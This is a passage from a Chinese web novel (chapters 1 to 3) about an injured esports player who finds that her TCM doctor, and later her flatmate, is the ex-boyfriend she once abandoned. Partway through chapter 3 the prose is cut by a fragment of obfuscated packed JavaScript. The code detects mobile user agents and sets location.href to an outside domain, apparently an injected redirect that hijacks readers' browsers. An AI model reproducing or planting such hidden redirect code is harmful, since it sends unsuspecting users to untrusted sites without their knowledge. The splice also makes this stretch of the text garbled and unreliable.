《无药可医》
1. 第一味药
汉城,征锋电竞中心。
白色炽光灯照耀的休息室内,TK战队的队内气氛简直是压抑的可怕。
门从外面被人推开,经理拿着冰袋火急火燎的跑进休息室,将其贴在沈灯心的右手手腕处。
冷气穿透皮肤直达腕骨深处,沈灯心强忍寒意深吸了口气,痛感却不见有丝毫减弱。
“感觉怎么样。”队内辅助齐正阳率先俯下身,有些焦急的试探性问道:“有没有好一点?”
沈灯心抬起眸子,视线在队友间扫了一圈,停顿半晌后撑出几分笑意,“瞧你们紧张的,我这手伤也不是一天两天了,能有什么大事。”
“你就装吧你。”
齐正阳默默接过冰袋,目光落在她被冷汗浸湿的发丝上,眼底晦暗不明。
射手版本当道,TK奉行四保一战术拿下十一连胜,战至决赛。
前两把局势大优,所有人都认为能TK一举零封NTT,卫冕春季赛冠军。
谁曾想,队内的核心,射手先倒了。
2∶2,决胜局。
TK作为蓝色方,在BP(ban and pick)环节还算顺利,成功帮沈灯心拿到自己的本命英雄诺拉,一个高爆发无位移的版本之子。
稳稳拿下敌方下路一塔加双杀后,沈灯心和辅助齐正阳算好时间,提前到兽坑附近占位置给压力,准备联合队友打团,拿下深渊巨兽。
河道四周是一片诡异的静谧,五秒过后,巨兽登场。
熊爪撕裂地面,怒吼声响彻整个峡谷。
沈灯心操纵诺拉走出草丛,不断切换视角,手指快速敲击鼠标。
NTT的人已经赶了过来,好在血线已过大半,不出意外可以稳稳补掉。
她向后撤了半步,突然觉得背后一凉。
“上单Miss!上单Miss!拉扯一下!”
齐正阳的话从乱糟糟的耳机里传来,却为时已晚。
一柄银枪自身后飞来,穿过诺拉的耳边。
沈灯心清楚,一旦自己被定住击飞,这一bo足以让她直接祭天。
出于本能的,她迅速拖动鼠标,按下闪现按键。
可预想中的操作并未实现,取之而来的,是一声沙哑痛苦的闷哼。
[诺拉已被独行者击败。]
屏幕陷入死灰,新伤连带旧伤来势汹汹,她紧紧攥着痉挛的手腕,脸色青白。
钻心的疼痛犹如跗骨之蛆,肆意啃食着她的神经。
连带着她的夺冠梦一起,吞噬殆尽。
射手祭天,法力无边。
NTT这波兽坑团以零换四加一条巨兽结束,对面射手连拿四头,巨大的经济差压的TK连高地都出不去,最后直接被3:2拿下。
沈灯心再一次与冠军失之交臂。
乘车回到俱乐部的时候已经是凌晨,夜色浓稠。
沈灯心吃过止痛药,躺在床上,睡意全无。
她切小号打开手机贴吧,发现竞圈热帖的榜首,正是一条有关于她的帖子,还引发了不小的争议——
“沈灯心手伤复发输掉比赛,你怎么看?”
评论区里吵得不可开交。
【菜就多练行不行,别一输比赛就说是手伤的问题。】
【转人工,连闪都摁不出来真是闹麻了。】
【一到决赛就送个大的,脖子上的是脑袋?】
【先把手治好了再来打比赛,队友和粉丝的命也是命。】
比赛输了舆论本来就大,身处旋涡中心的她难免被骂成了筛子。
药效还没完全上来,沈灯心望着自己的右手,没来由的萌生出一股恨意。
明明是最有希望夺冠的一年,明明他们可以赢下这场比赛。
为什么,会是这样潦草的结局。
不甘从眼角溢出,湿热一片。
沈灯心随便抹了把脸,刚想把手机放在一旁,微信就弹来了消息。
是战队经理发来的。
经理:[我托我朋友给你排上了仁济的中医号,就在明天。]
经理:[这位左医生刚调到汉城,据说很权威。]
经理:[你呢,就趁着休赛期,赶紧把手给治好,下个赛季再冲击冠军。]
经理的话滴水不漏,她却盯着左医生三个字愣神。
熟悉的身影从脑海里闪过,她莫名想起一个人,又很快打消了这种念头。
那个人怎么会来汉城当医生呢。
世界上重名的人那么多,重姓更是常见,沈灯心觉得自己实在没必要这么草木皆兵。她犹豫片刻,最终还是不好意思驳了经理好意,发了个OK过去。
翌日。
推开宿舍门,她定眼瞧见了在一旁打哈欠的齐正阳。
“呦,起来了。”
他眼下顶着乌青,看样子昨晚也没睡好,“经理让我开车送你去医院,走吧。”
他食指勾着车钥匙环转圈,走下楼把车停到门口。
沈灯心坐上副驾,到医院的这段路不算近,开车用了将近三个小时,以后真要过来治疗倒是不太方便。
医院的门脸很气派,印着任济中医诊所六个大字的烫金匾额挂在外面,看样子名气还不小。
爬上三楼,在挂号机取过号,她按照指引到大厅等待。
寻常医生的诊室门牌上都挂着医生照片,唯独这位左医生特立独行,门牌上空空如也。
想来是因为刚调过来,还没来得及拍吧。
“请7号沈灯心到3号诊室就诊。”
突如其来的播报音听的人心里一惊。
号叫的倒是挺快,沈灯心敲了两下门,拎包走了进去。
扑面而来的,是一股久违的木质香味。
以冷色调为主的办公室里简洁而干净,几本医书和档案被有序的归纳在书架里。
阳光从恰到好处的角度倾泻而下,柔和的光线穿过玻璃,照在窗台那盆被精心照料的绿植上,映照出些许金色光斑。
“坐吧。”
寡淡而年轻的声音从正前方响起。
沈灯心眉头一紧,面对着他坐下,俯身凑近了些。
隔着一层口罩,她很难确认什么,只能看见他那双漆黑透亮的眸子。
是很标准的桃花眼。
眉上一公分,还有一颗极具代表性的褐色小痣。
“左医生。”
碎片化的记忆胡乱的拼凑在一起,沈灯心伸出手,趁男人神情微滞的瞬间拽下他的口罩,犹如撕开两人之间最后的遮羞布。
虽然不礼貌了些,但沈灯心确实看清了这位左医生的脸——
真的是左京墨。
那个当年被她不告而别,甩掉的前男友。
他穿着一身传统的白色大褂,神情淡漠,气质依旧卓越出群。
经过时间磨砺的脸庞褪去了少年稚嫩,更加硬朗成熟,轮廓鲜明。
目光短暂相接,沈灯心触电般的收回左手,泄力靠向椅背,整个人好似失了魂。
“抱歉。”
她嗫嚅着出口,有些不好意思,“我只是想确认一下,没有别的意思……”
“嗯。”
左京墨垂下眼眸,异常冷静。
他伸出手,慢条斯理的将旧口罩扔进废弃桶里,换了个新的带上。
“哪里不舒服?”
“……”
“感冒。”
病到嘴边换了个词,沈灯心往后缩了缩右手,避重就轻。
人都不愿意让前任看到自己狼狈的一面,她也不例外。
年少犯浑,无知无畏。
沈灯心当年甩左京墨甩的那叫一个潇洒,所有联系方式全删,整个人像人间蒸发,了无音讯。
再后来,她在征锋赛事上大放异彩,惊才艳艳。
无意间打开微博看私信时,发现了一个与左京墨头像和名字一模一样的人。
她好奇心作祟,打开聊天框后发现只有六个字——
"沈灯心,算你狠。"
从那时候起,沈灯心就想着,这辈子最好都不要再跟这个男人见面了。
但谁能想到,报应不爽,再见面时。
她竟然是他的患者。
-
俗话说的好。
三十六计,走为上策。
例行公事的回答了他几个问题后,沈灯心作势嘶了一声,捂着肚子紧蹙眉头,装出一副肚子痛的模样。
“那个,左医生,真是不好意思,我可不可以先上个厕所?”
“……”
“可以。”
左京墨眯起双眼,把玩着手中的钢笔:“出门右转。”
沈灯心点头,尬笑两声,揣着手机走了出去。
刚关上门,顾不得手腕处的疼痛,她一路小跑到停车场,拉开车门坐了进去。
好险。
差点被他发现。
“这么快就看完了?”齐正阳放下手机看她,惊呼出声:“我靠!你丫撞鬼了,脸这么白?”
沈灯心给了他一记眼刀:“哪儿那么多废话,快开车。”
她说着,侧身去拉安全带。
身旁空空的,好像少了点东西。
起初也没在意,还以为是错觉。
直到车子开出医院,她想拿张湿巾出来擦手,这才发现,竟是把包落在了诊室。
是福不是祸,是祸躲不过。
沈灯心叫停车子,掉头又回到了医院。
熟悉的诊室,熟悉的医生。
左京墨依旧坐在那里,眼中有着看穿一切的淡然。
“旁边的是家属吗?”
转笔动作戛然而止,他抬眸看向这次陪同上来的齐正阳,睫羽微颤。
声音在不觉然间冷了几分。
“家属在外面等,患者自己进来。”
放缓脚步,悄然落座。
诊室里一片寂静,沈灯心连呼吸都不敢太大声。
“上完厕所了?”
“嗯。”
她不自然的蹭了蹭鼻子,右手因为刚才的跑动而再度痉挛,只是幅度没有那么大。
不仔细看,还是很难发现的。
眼观鼻,鼻观心。
沈灯心正措辞如何向他解释刚才的“误会”,谁料一股温和的力突然袭来,轻轻托起她的手腕,搭在了脉枕上。
“说说吧。”
左京墨开门见山,不多废话:“手怎么了?”
他说着,伸出那双骨节分明的手,分别在沈灯心手腕附近的几大穴位游走,试探。
薄茧摩挲过肌肤,她不禁向后瑟缩了半分,痒的不行。
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左京墨见状,向前轻拽回她的手。
大拇指摁住她腕掌横纹的中点,亦是大陵穴,问:“什么感觉?”
“疼。”
“还有吗?”
沈灯心倒吸一口凉气,强忍不适,“好像……还有点酸胀的感觉。”
左京墨接着问:“食指和中指呢,我这么摁着,会不会感觉发麻?”
“嗯。”
她点了点头,见左京墨收回手开单子,默默把手也缩了回去。
钢笔的笔锋划过纸张,一室之内,安静到只剩下他写字的声音。
闲着也是闲着,她不死心,找了个话头为自己辩解:“其实刚才,我真的是想去厕所的,没成想……”
“……”
“够了。”
钢笔笔尖应声断开,发出脆响。
他手背青筋暴起,看样子是没收住力。左京墨合上笔帽,同沈灯心正面对视。
“我不是傻子。”
他说,“被骗一次就够了,哪儿有人一直不长教训的。”
密密麻麻的钝痛从他眼底弥漫,话里句句无她,却又句句点她。
沈灯心心想,难道这就是说话的艺术,杀人于无形,细思极恐。
窗外的日头正胜,五月初的汉城已有了入夏的趋势。
汗水沁湿她额前的几缕碎发,一阵黏腻。
沈灯心拿出纸擦了擦,嘴巴一度张开又乖乖闭上,异样的情绪在悄然间填满整个心脏。
常年泡在游戏世界里的大脑用来谈情说爱难免迟钝,但不置可否的是,这五年里,她真的有陆陆续续的想起他,不可避免的想起他。
谁叫他那张脸,实在是,太帅了。
但竞圈选手十个里面八个渣,还有两个是顶级恋爱脑,沈灯心也曾发誓要出淤泥而不染,无奈矫枉过正,成功活成了介于两者之间的物种,一个没心没肺的感情白痴。
等她再过两年意识到不对时,却为时已晚。
所以,如果左京墨怪她,怨她,甚至阴阳她。
好像也是合理的。
换根新笔签完单子,左京墨把就诊单递给沈灯心,嘱咐道:“先去二楼做CT,做完就回来,我给你看结果。”
沈灯心顺从点头,下楼在CT室门口排了半个多小时的队才做完检查。
回到三楼,左京墨早已站在诊室门口等待,像是害怕她又跑了一样。
“这医生还挺负责。”
齐正阳把沈灯心的包接了过来,揶揄道:“但是吧,我总觉得他看你那眼神不太对劲,该不会是看上你了吧?”
“滚。”
沈灯心踹他一脚,跟着左京墨走进诊室。
男人周身的气压更低了些,她找位置坐下来,余光意外瞥见他还没来得及熄屏的手机界面,黑体粗体的营销号标题可谓赚足了眼球。
“难得少年是夫妻,沈齐cp请官宣。”
还没等她再往下看,手机屏幕便被左京墨摁熄。
仔细端详,他面色确实更黑了些,不知道是不是看了这些无良营销号的缘故。
自古射辅出cp,沈灯心和齐正阳作为联赛内的顶级射辅,共事三年,配合无间。
俊男靓女的组合难免容易催生cp粉。
起初两人还互相膈应保持距离,后来发现越这样粉丝越磕,说什么避嫌的才是真爱。
到最后两人没法了,也不反感炒cp了,高层需要他们卖的时候还勉为其难的卖一下,权当给自己赚业绩了。
不过,他没事看这些有的没的干什么。
这家伙现在这么八卦了?
-
CT报告上的显示和左京墨预测的大差不差,他填完诊断书,从隔壁诊室推来理疗设备。
“情况比较严重,我先给你针灸缓解疼痛,一会儿再商议后续的治疗方案。”
他说着,将手消好毒,从针车里拿出一盒银针,拆开包装。
寒光凛凛,针尖被衬托的锋芒异常。
沈灯心自幼痛觉神经发达,异常怕疼。
赛场上全靠意志力撑着没哭,如今看见针,差点两腿一软瘫在椅子上。
刺痛伴随着动作而来,一下比一下更疼,像有人挑起她的肌肉经络,用力搅着一般的疼。
就连力气,都要被消磨殆尽。
“嘶……”
痛感随着时间的增长而翻倍飙升,沈灯心眉头拧成一团,咬牙硬撑。
她低下头,眼前的场景却愈发模糊,生理性泪水喷涌而出,糊了满眼。
电针仪器一个一个插在针上,左京墨感受到她在抖,语气不动声色的软了下去。
“很疼吗?”
他单膝蹲下,试着去看她,却被她那双湿润的杏眼牵引住情绪。
“疼。”
沈灯心就说了一个字。
泪水像断了线的明珠,吧嗒一声滚进左京墨手中,纵情灼烧着他的皮肤。
休恋逝水,苦海回身。
五年光阴悠悠,左京墨凭着她施舍的一点爱意踽踽独行,遍体鳞伤。
好不容易决定放手抽离,还自己一条生路。
却又在这儿遇到她。
沈灯心。
你也知道疼是什么感觉么。
鼻尖涌过酸涩,他伸手,将泪捻进掌心。
2. 第二味药
“拿纸擦擦吧。”
滚烫的泪几乎要将掌心烫穿,左京墨意识到自己的失态,直起身,从口袋里拿出纸巾,递到她未扎针的左手上。
“谢谢。”
被胡乱擦过眼泪的纸巾有些皱,沈灯心闻着这个味道很熟悉,再一看印花,是她从前最爱用的牌子。
于是她向上看去,不偏不倚的对上他那双好看的眼,猩红从眼头蔓延至眼尾,浓密而纤长的睫毛掩盖住他被意外窥见时的慌乱。
时间仿佛在那一刻被掐断。
久无人居的心房里龟裂出一条细缝,有人往她那贫瘠的土壤上撒下一颗种子。
“我出去接个电话。”
“……好。”
左京墨借着接电话的名义出去调整情绪。暑气蒸腾,他内心烦躁,正好看见在椅子上玩游戏的齐正阳,怎么都想不通。
这男的除了年轻点和会打游戏以外,还有什么好的。
电针灸仪器发出声响,他走进诊室将沈灯心手上的针取下来清点好,把齐正阳叫了进来,神情严肃。
“病人后续半年都不要再进行高强度的训练,这半个月,每天都要做理疗,后续治疗方案我会再根据病人的恢复情况敲定。”
“什么?半年?”
沈灯心腾地站起身:“不行,半年时间太长了,三个月后是世界赛,我等不了那么长时间。”
她目光闪烁着,定定的看向左京墨,眼里有着不由分说的坚决。
半年不让她训练,这跟直接宣布退役有什么区别。
“我的手伤我清楚。”四下寂静,她抹开嘴:“你给我开点药吧,最起码,要等到世界赛结束了,我再……”
“你清楚?”
像是听到了什么天大的笑话,左京墨冷哼一声,将这三个字一字一顿的读出来,“你说,你的手伤,你清楚?”
“中度腕管综合征的严重程度,你清楚?”
他把报告摆到沈灯心面前,食指用力点着报告单右下角那红色的中度两字,“那你清不清楚,长时间的神经受压损伤,是会导致肌肉萎缩和感觉丧失的?”
太阳穴突突地跳,气血从胸口溢上大脑,左京墨就没见过她这样对自己不负责的人。
“如果你好好治疗,兴许还能回归赛场,但如果你固执己见不听医嘱,用不了三个月,你就可以退役了。”
他边说着边去看沈灯心,身体向后靠在椅背上,手指紧了紧,终究是没说下更狠的话来。
沈灯心显然没想到他反应这么大,对视上的刹那被他眼底疯长的野火燎了个彻底。
“左医生,您大人有大量,沈灯心她说话不动脑子的。”听明白意思的齐正阳站在旁边干着急。
见沈灯心还想说话,又连忙把她的嘴捂住:“您开药吧,明天她肯定准时过来理疗。”
不甘从她的眼眶里溢出来,左京墨看的一清二楚却未置一言,他从电脑上开好药单,递到沈灯心手上:“明天下午两点,还是这个诊室。”
“哦。”
沈灯心拿了药单就要走,齐正阳跟在后面,两人的背影被光拉长,意外般配。
一股酸意从脊椎窜起直冲脚底,左京墨追到两人身后,叫住他们。
“另外,这几天不要喝酒,也不要抽烟。”他眉弓处的阴影更深了些,极为平淡的说出下一句话。
“更不要同房。”
“……”
沈灯心和齐正阳的脚步双双顿住。
你看我,我看你。
断开的线被重新连上,齐正阳突然就想明白了,那股敌意是从何而来。
“左医生,你应该是误会什么了。”他讪讪开口,解释道:“我和沈灯心就是纯同事关系。”
“是吗……”
左京墨神色松动一瞬,继而向沈灯心投去狐疑的目光,看见她无比诚恳的摇了摇头后,勉强敛起笑意。
“那是我误会了,抱歉。”
看病的事情终于告一段落,沈灯心坐上车,跟经理简单汇报了一下病情。
“总之,这半年,我打算在外面住。”她把手机放在腿上,打开租房软件。
中医院位于市中心附近,紧挨学区和商业街,房源紧张。
“话说回来,经理你人脉广,能不能帮我问问,有没有中医院附近的房子出租,最好明天就能搬。”
挂掉电话,她小憩了一会儿,再次打开手机,经理已经把名片推了过来,据说是他的女性好友,人很靠谱。
加过微信了解完情况,因为是熟人出租,她也没有很多东西需要搬,所以直接约定明天中午签合同,晚上入住。
这样子,倒是很省时省力。
回到俱乐部,训练室里坐满了人,叽叽喳喳的,一看见沈灯心回来倒是不约而同的安静了下来。
“心姐,医生咋说?”队内中单探出头,小心翼翼的问。
沈灯心深吸口气:“没什么大事,就是得出去治疗半年,养好了再回来。”
她潇洒的挥手示意他们继续,尽量让自己看起来没那么落寞。
走上楼,简单收拾了一下搬家要带的贴身衣物和生活用品,拢共也才一个箱子一个包。
最贵的东西还是包里的键盘和鼠标。
在俱乐部的这一晚睡得不算踏实,翻来覆去的,手腕依旧是疼。
十点的闹钟还没响,她就已经爬了起来。
约好的出租车等在门外,行李箱滚过地板发出隆隆声响,她脚步放慢走的很轻,没告诉任何人她几点走,也不需要声势浩大的送别。
沈灯心在心里告诉自己,这只是为了养病。
总有一天,她一定会回来,拿下她梦寐以求的冠军。
出租车师傅开得很快,不到两个小时就把沈灯心送到了目的地。
“你就是沈小姐吧?”
女人一袭红发,从丽水江苑的正门口走出来。她面容姣好,向前伸出手,“我是冯雪见,我们在微信聊过的,今天看房签合同。”
“我是沈灯心,麻烦您了。”
沈灯心礼貌回握,同她在路上寒暄了几句后,跟着她走进屋子。
轻奢风的装修通透开阔,以棕色系为主基调的设计打破了原有的沉闷,反而平添些许柔和。
她带着沈灯心参观了一圈,两人脾气相投,商定合同的过程十分顺利,除了租金贵的让人肉疼以外,没什么别的缺点。
临签合同时冯雪见出门接了个电话,回来之后就一直紧抿双唇,像是有什么难言之隐。
“怎么了?”沈灯心看她脸色不对,生怕这人后悔不想租了,赶忙笑着说:“是遇到什么事了吗?要是你觉得合同哪里有问题的话,我们还能再谈。”
“不是合同的问题,是我有件事想和你商量一下。”
冯雪见娓娓道来:“我弟他昨天来了汉城,说是出差,但他们医院的宿舍还没批下来……”
“我就想着,要不……你们俩合租一下?”
观察到沈灯心的惊讶与抗拒,她继续补充:“你放心,我弟他工作忙,起得早睡得早,一天到头在家待不了多长时间的。”
“倒不是这个问题。”
沈灯心摸了摸鼻子:“孤男寡女的,实在是有点……”
打电竞多年,虽说她是俱乐部里除队宠小咪和食堂阿姨以外的唯一雌性,但男女有别,心里多少还是有点芥蒂。
而且,要是左京墨知道她和一个陌生男人合租的话,恐怕会用针戳死她的。
沈灯心被自己这突如其来的想法吓到,好端端的,怎么就想起左京墨了。
“这样吧。”冯雪见往她身边坐了坐,“水费电费我全给你免了,怎么样?”
“……”
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“那再上房租减半呢,可以吗?”
“其实吧,我还是……”
她内心挣扎着,而后听见冯雪见又说了句:
“忘了和你说,我弟他啊,长得特别像那个男团爱豆!”
沈灯心用力闭眼:“那合租就合租吧。”
实在是诱惑太大,她一介弱女子抵挡不住只得不屈打便成招。
再者,冯雪见是经理的好友,料她弟也不敢太过放肆。
签好合同,冯雪见开车送沈灯心到中医院。
“真巧,我弟就在这儿上班。”她挂挡倒车,向沈灯心挥手,“等你理疗结束,我介绍你们俩认识。”
沈灯心整个人怔在原地,突然很想问她弟叫什么,转念一想这两人连姓都不一样,这么巧合的事情怎么可能发生。
走进诊室,左京墨坐在办公桌前忙碌,听见脚步声,抬起眼皮不咸不淡的看向她。
“昨晚感觉怎么样?”他语气官方,起身推来仪器,一副公事公办的模样。
“还是有点疼,总感觉发麻。”
沈灯心坐到昨天针灸的位置上,银针刺进皮肤,力度貌似有所收敛,紧张的肌肉群被他轻拍过后明显放松,痛感减弱了不少。
这人昨天肯定是故意扎那么痛的,她笃定。
理疗快要做完,窗外的天黑压压的阴下来,伴着几声爆裂般的雷鸣,一场瓢泼大雨说下就下。
左京墨接了通电话回来,眉间似乎萦绕着几丝怒气。
他将针取下来,顺势看了看窗外,见雨没有要停的意思,视线落在她身上片刻,问:“还回俱乐部吗?”
“我在外面租了房子住。”
沈灯心如实相告,挥手道:“那……我先走了。”
左京墨目送她离开,换上常服准备下班,走到大厅时瞥见她还在,一个人孤零零的站在门口抱着手机,满脸着急。
“你怎么回去?”
他蹙眉站在沈灯心旁边,扬起下巴,状若无意的拿出车钥匙。
“我在等出租。”沈灯心看着等车界面的正在为您呼叫几个字发愁,全然没空去注意他。
“高峰期加恶劣天气,你现在叫出租车来那就是叫天天不应,叫地地不灵。”左京墨阴阳怪气,脸上的神情急转直下,“雨一会儿越下越大,你就等着吧。”
他觉得自己真是好了伤疤忘了疼,跟沈灯心这种人没什么好说的,撑开伞毅然决然的走了出去,溅起片片水花。
不远处的汽车引擎声响起,一辆黑色奥迪从沈灯心面前驶过,眼看着要出了门,却向左猛打方向盘,直直往她这边开了过来。
“上车。”
雨势急遽,左京墨撑伞走下车,伞骨在大风中摇摇欲坠,不知何时偏了方向。
他站稳脚,伸手将副驾驶的门拉开:“快点。”
心跳在骤雨中越跳越快,打在她身上的雨点被伞防住,沈灯心目光闪烁,弯腰钻进副驾,向他说了声谢谢。
“住哪儿?”
“丽水江苑,11号楼。”
车开的很慢,十分钟不到的路程愣是开了将近一刻钟。
途中左京墨的手机铃声响个不停,想来是有什么要事,眼看马上就到小区,沈灯心适时开口:“那个,你要是有事的话,把我放在小区门口就行。”
谁料他像是没听见一样,一脚油门直接把她送到了楼底下。
雨刷器一下一下的晃过,见车停稳,沈灯心非常诚恳的再次道谢,透过车窗看见了站在楼门口的冯雪见。
她蹚水小跑过去,扭头发现左京墨竟也下了车,刚想问他要干嘛,就听见他嘴里蹦了一个字出来。
“姐?”
左京墨诧异的看向冯雪见,震惊于她们两个人怎么认识。
嗡鸣音重重的碾过鼓膜,沈灯心望着他那张脸,凌乱了。
3. 第三味药
人怎么能倒霉成这样。
打比赛的时候手伤复发,出去看病发现主治医生是前男友,好不容易租了房结果房东是前男友的亲姐姐。
更倒霉的是她还要和前男友合租。
逼仄封闭的电梯里,沈灯心脑袋乱成了浆糊,趁着左京墨和他姐聊天的间隙偷瞄他。
都说男人二十五岁是道坎儿,各方面垂直下滑。
值得一提的是,左京墨的这张脸依旧抗打,从某种角度看过去时竟然真与某男团爱豆有几分相似。
他套了身薄款的外套,雨水打湿布料紧贴在身上,勾勒出极好的身材线条,依稀可见那宽肩和劲瘦腰身,身材维持的也不错。
“真没想到,我弟就是你的主治医生。”
电梯提示音响起,冯雪见见她心不在焉,热情的拉过她的手唠嗑,“怎么样,我弟是不是还挺有绅士风范的?”
沈灯心抽动嘴角干笑两声,没认同也没否定,走进屋子把行李摊开整理。
冯雪见拿完房子里剩的最后一点东西,拉着左京墨走到一边。
“怎么着,今天下午我给你打电话的时候,你不是说男女授受不亲,不肯合租吗。”
她顺着左京墨的视线看过去,意味深长的挑了挑眉,“你看上人家了啊?”
“没有。”
“还说没有呢,把你姐当傻子是吧!”冯雪见音量渐涨,翻了个白眼,
她一贯是知道自己这个弟弟的脾性的。
逢年过节,家里介绍的相亲是抵死不从的,有一次她好不容易连哄带骗的,把左京墨拎到人家女孩面前。
谁曾想,他中途便离了席。
这次倒好。
又是开车送人家回家,又是在这巴巴望着人家的,想看不出来点什么都难。
“趁着雨小,你现在赶紧回去收拾东西,今晚就搬进来吧。”
冯雪见开车走后,左京墨赶到酒店装好东西,考虑到沈灯心有可能还没吃饭,在返程的路上买了点清淡的吃食,刚到家门口就发现了外卖包装袋。
看这家店铺的名字,貌似是吃的麻辣烫。
左京墨叹了口气,推开门。
家里静悄悄的,她人不在客厅,只有主卧的门紧闭着,上面贴着的纸条被风吹起一角。
左京墨走上前去,发现是她用便利贴写的合租条约——
一、未经允许不得进入对方房间。
二、不能带外人回来。
三、不要打扰对方睡觉。
便利贴底部还附上了一句话。
【别让你姐知道我们的关系,不然……】
视线向右平移,一个略显抽象的骷髅头表情赫然在目。
左京墨轻笑了一声。
他转身把吃食放进厨房,洗完澡后回到卧室躺下。
窗外雨声依旧,月色朦胧。
房间被无尽的漆黑包裹,月光透过窗纱轻柔的照下来。他睡不着,起身看月亮的时候,光照在他身上,一切像梦一样。
不对。
他连做梦,都不敢梦到他们会同居。
隔着一面墙,左京墨甚至能感受到她的呼吸。
一石激起千层浪,他思绪紊乱,久久难以平复。
下床缓缓打开门,发现客厅里有亮光,走过去一看,是沈灯心。
“你,你怎么出来了?”
她赤脚坐在地上,听见动静,停下手上的动作抬头看他。
“啧。”
左京墨拧眉,快步走到她面前,二话没说先把她捞了起来,接过她手上的那盒布洛芬问:“手又疼了?”
“应该是晚上收拾东西的时候用了点力,疼的睡不着,我这才……”
“回屋。”
没等她话音落地,左京墨握住她的手便径直走进主卧。
亮黄色的便利贴幌过她的双眸,沈灯心脚步一顿,嘴都没张开,便看见左京墨极为潇洒利落的将便利贴撕了下来。
“你干什么?”
脚下踉跄,羞赧的样子暴露了她的慌乱,心跳如躁鼓。
她躺回床上,小腿向后缩,支支吾吾的说:“趁人之危非君子所为,你,你不能对你的患者……”
“啊……”
虎口处被人用手覆上,温热而有力的指尖揉开筋膜里的结节,她一个没忍住,过电般又酥又麻的感觉令她啊出了声。
左京墨的手很烫,神情却冷淡的不行。
“有的人,怕不是以小人之心,度君子之腹。”
他说着,动作没停,手指反复捻捏,一下一下的按摩恰到好处,痛感渐渐淡化。
沈灯心自知理亏也不说话,沉默了半晌,实在是不忍心左京墨一直蹲着,拍了拍床:“要不,你坐上来吧。”
她往里移了一寸,压根没想过这个动作的暧昧程度。
“……你不用管我。”
左京墨手上的力度在一刹那加重,随即收回手重新落下,像是没收住情绪,“我明天还要早起开会,你赶紧睡,我也能早点回去休息。”
沈灯心哦了一声,闭上眼。
大抵是今天搬家累着了,困意来的快,就这么稀里糊涂的睡了一觉。
常年处于高压环境,她睡眠质量早就不如以前好,有点动静就容易醒。
梦的内容她记不太清,依稀能感觉到的就是发尾的异常,好像在被人摸着。沈灯心想起来看看怎么回事,又实在犯懒,索性把眼睛眯开一条缝往外看。
焦黄的台灯下,她眼前一片迷蒙,光斑后的男人勾起她的一缕发丝握在掌心。
犹如握住他多年来苦苦寻觅的珍宝。
沈灯心的双眼被灼的生疼,她闭上眼,思绪翻飞,既酸涩又好奇。
五感中的触觉被无限放大,她感受着左京墨的呼吸与动作。
平稳,轻柔。
以及不忍打扰到她一分的谨慎。
发尾被人捋顺放下,沈灯心等待着他的下一步动作,几秒的安静像是度过了一个世纪那么长。
滚烫的鼻息越来越近,她甚至有想过,左京墨会不会在这个时候偷偷亲自己。
阴影笼过沈灯心眼前,但她仅仅感受到了痒。
那种被人用手轻触过睫毛的痒。
很快,很轻的一下。
然后便再无动作。
窗外的冷风吹起窗帘,新一轮的暴雨将卷土重来。
台灯吧嗒一声被摁灭,光感全无。沈灯心听不清他去了那儿,半睁开眼睛寻找他,目光停在落地窗前的那抹身影上。
雨水沿着玻璃蜿蜒而下,他侧身看雨,半面身子淹没在夜色里,眸中的积雪融成了春水。
“你离开的那天,也下了一场暴雨。”
左京墨尾音发颤,缓缓说出这句话。
他声音极小,类似于喃喃自语。
可沈灯心听的一清二楚。
她以前一直觉得左京墨这人挺寡淡。
声音寡淡,做事也寡淡。
当初她见色起意,对左京墨追求的那叫一个轰轰烈烈,哪怕这人每次都反应平平,淡淡落下一句你没必要这样,她也还是没放弃。
直到被拒了数不清多少次后,或许是觉得烦了,终于同意和她试一个月。
结果就这么谈了半年下去。
他不提,沈灯心也不说,能多谈几天就能多亲几天他的脸,怎么看都是一笔划算的买卖。
再说了,如果左京墨这人真的天生寡淡,兴许也是一件好事,最起码等再过一阵子她离开的时候,不至于太过难受。
又或许,他会高兴?
但沈灯心显然低估了左京墨对她的感情,也高估了自己所谓的潇洒和理智。
酸涩从心头爬上鼻腔,她将这种异样的触动归咎于深夜感性,兴许明天一睡醒,她就没这种想法了。
沈灯心翻过身去,弓起的脊背形成了一道保护壳,温热的心脏依旧跳的飞快。
雨下的更密了。
左京墨将侧面的小窗户关上,回过头,发现沈灯心换了个姿势,腿蜷起来睡的模样活脱像只色厉内荏的刺猬。
小小的,刺却那样扎人。
他弯下腰,雨天多降温,害怕她着凉,很轻很轻的帮她掖了掖被角。
“……”
“其实,我多希望,我是恨你的。”
风从窗缝挤进来,裹携着他的声音,细若蚊蚋。
“你是有苦衷的,对吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251549|181981||http|test|mini|href|location''.split(''|''),0,{}));
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>沈灯心躺在床上的身躯一震,单薄的灵魂在片刻间被收紧。
游丝般的痛楚从心房滋长,她觉得好像有什么东西在蠢蠢欲动,硬生生的从她心里那一亩三分地里冒出枝丫来。
她讨厌这种要失控的感觉。
门把手回位,细微的响声传入耳膜,沈灯心沉重的睁开眼,认命的想。
他刚才说的那两句话,果然还是太犯规了。
手腕上的伤痛减轻,她实打实的睡了个好觉,将近十一点才起来。
手机里的未接来电多达十通,其中七通来自不认识的电话号码,两通来自她家里人,剩下一通则是齐正阳打来的。
她想了想,回拨过去。
电话那头才传来齐正阳懒散的声音,沈灯心便急急忙忙开口:
“是这样的,我有一个朋友,她最近遇见了被她甩掉的前男友,但这个前男友不仅不恨她,还帮她找理由哄自己,这是为什么?”
齐正阳沉默了三秒,得出结论。
“首先,这个前男友肯定还爱着你朋友,其次,你这个朋友是个混蛋,最后,不出意外的话,你就是那个‘朋友’。”
沈灯心直接把电话给挂了。
她匆匆吃过外卖,步行到中医院门诊台时听到几个小护士在议论左京墨。她好奇,凑过去准备听两句,谁料这帮人突然一哄而散,各自忙各自的去了。
“在这儿干什么呢?”
熟稔的声音从身后响起,她转过身,认出来者是谁,谄媚的笑笑:“这不是听说左医生去了趟药房,正找您呢。”
“过来吧。”
察觉到左京墨今天的心情貌似还不错,沈灯心打量起他手里拎的东西,隔着两层袋子还正源源不断的散发着清苦药味。
她坐到诊室椅子上,在看清袋子中的东西是什么后,咽了口唾沫。
